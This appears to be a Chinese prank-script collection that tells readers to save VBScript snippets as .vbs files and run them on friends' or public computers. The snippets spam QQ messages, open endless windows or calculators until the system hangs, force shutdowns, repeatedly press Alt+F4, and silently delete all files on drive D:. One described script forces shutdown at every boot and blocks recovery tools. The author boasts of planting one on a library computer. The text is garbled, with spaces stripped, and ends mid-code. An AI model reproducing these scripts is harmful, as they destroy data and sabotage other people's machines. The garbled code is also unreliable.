QQ恶搞代码分析和总结.docxVIP

首先你在要建一个文本文档（在桌面点右键--新建--文本文档）把下面的你想要的代码复制到文本文档好保存 把名字txt改成vbs就OK

vbs整人代码大集合

一、你打开好友的聊天对话框,然后记下在你QQ里好友的昵称,把下面代码里的xx替换一下,

就可以自定义发送QQ信息到好友的次数(代码里的数字10改一下即可).xx.vbs=

=---------------------------------------------------------------------------

OnErrorResumeNextDimwsh,ye

setwsh=createobject(wscript.shell)fori=1to10

wscript.sleep700wsh.AppActivate(与xx聊天中)wsh.sendKeys^v

wsh.sendKeysiwsh.sendKeys%snext

wscript.quit

〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓

QQ骚扰信息,也可以用在其它程序上。

二、我就用这个程序放在学校图书馆查询书刊的机器上，好多人都那它没办法，哈哈

doloop

msgboxYouarefoolish!

〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓三、打开无数个计算器，直到死机

setwsh=createobject(wscript.shell)do

wsh.runcalcloop

〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓四、直接关机

dimWSHshell

setWSHshell=wscript.createobject(wscript.shell)WSHshell.runshutdown-f-s-t00,0,true

〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓五、删除D:\所有文件

dimWSHshell

setWSHshell=wscript.createobject(wscript.shell)WSHshell.runcmd/cdeld:\*.*/f/q/s,0,true

〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓六、不断弹出窗口

while(1)

msgbox哈哈你被耍了！loop

〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓七、不断按下alt+f4（开什么都关闭……）

dimWSHshell

setWSHshell=wscript.createobject(wscript.shell)while(1)

WSHshell.SendKeys%{F4}loop

〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓八、按500次回车

(以上代码在运行者的电脑上显示500个对话框。其中dountils=500，500可以随意更改)

dims

dountils=500s=s+1

msgbox哥们，给我按500次回车吧,64

loop

〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓九、关不掉的窗口

WScript.Echo(嘿，谢谢你打开我哦，我等你很久拉！TSName)

WScript.Echo(你是可爱的小朋吗?)WScript.Echo(哈,我想你拉，这你都不知道吗？)

〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓[color=#FF0000]复制以这个代码，在桌面建一个文本，把代码放进去，另存为VBS格式，此代码的威力：

1：开机就强制自动关机2：cmd命令打不开3：结束任务不管用

4：F8安全模式也不管用

呵呵！听起来是不是有点恐怖啊，我在我朋友空间里看见也吓了一跳、

代码破解方法：就是再运行一次，就可以破解了，也就是第2次保存的那个VBE文件，，PS：不要乱拿软件去整人，发生什么事可不要怪我啊。。

拍拍手顶起吧！

〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓恐怖啊 整人 小心用

PrivateSubForm_Load()Me.Hide

EndSub

PrivateSubTimer1_Timer()

声明变量，其中“count”为静态变量，以便生成不同的文件DimfilesAsString

DimnrAsStringDimcAsStringStaticcountA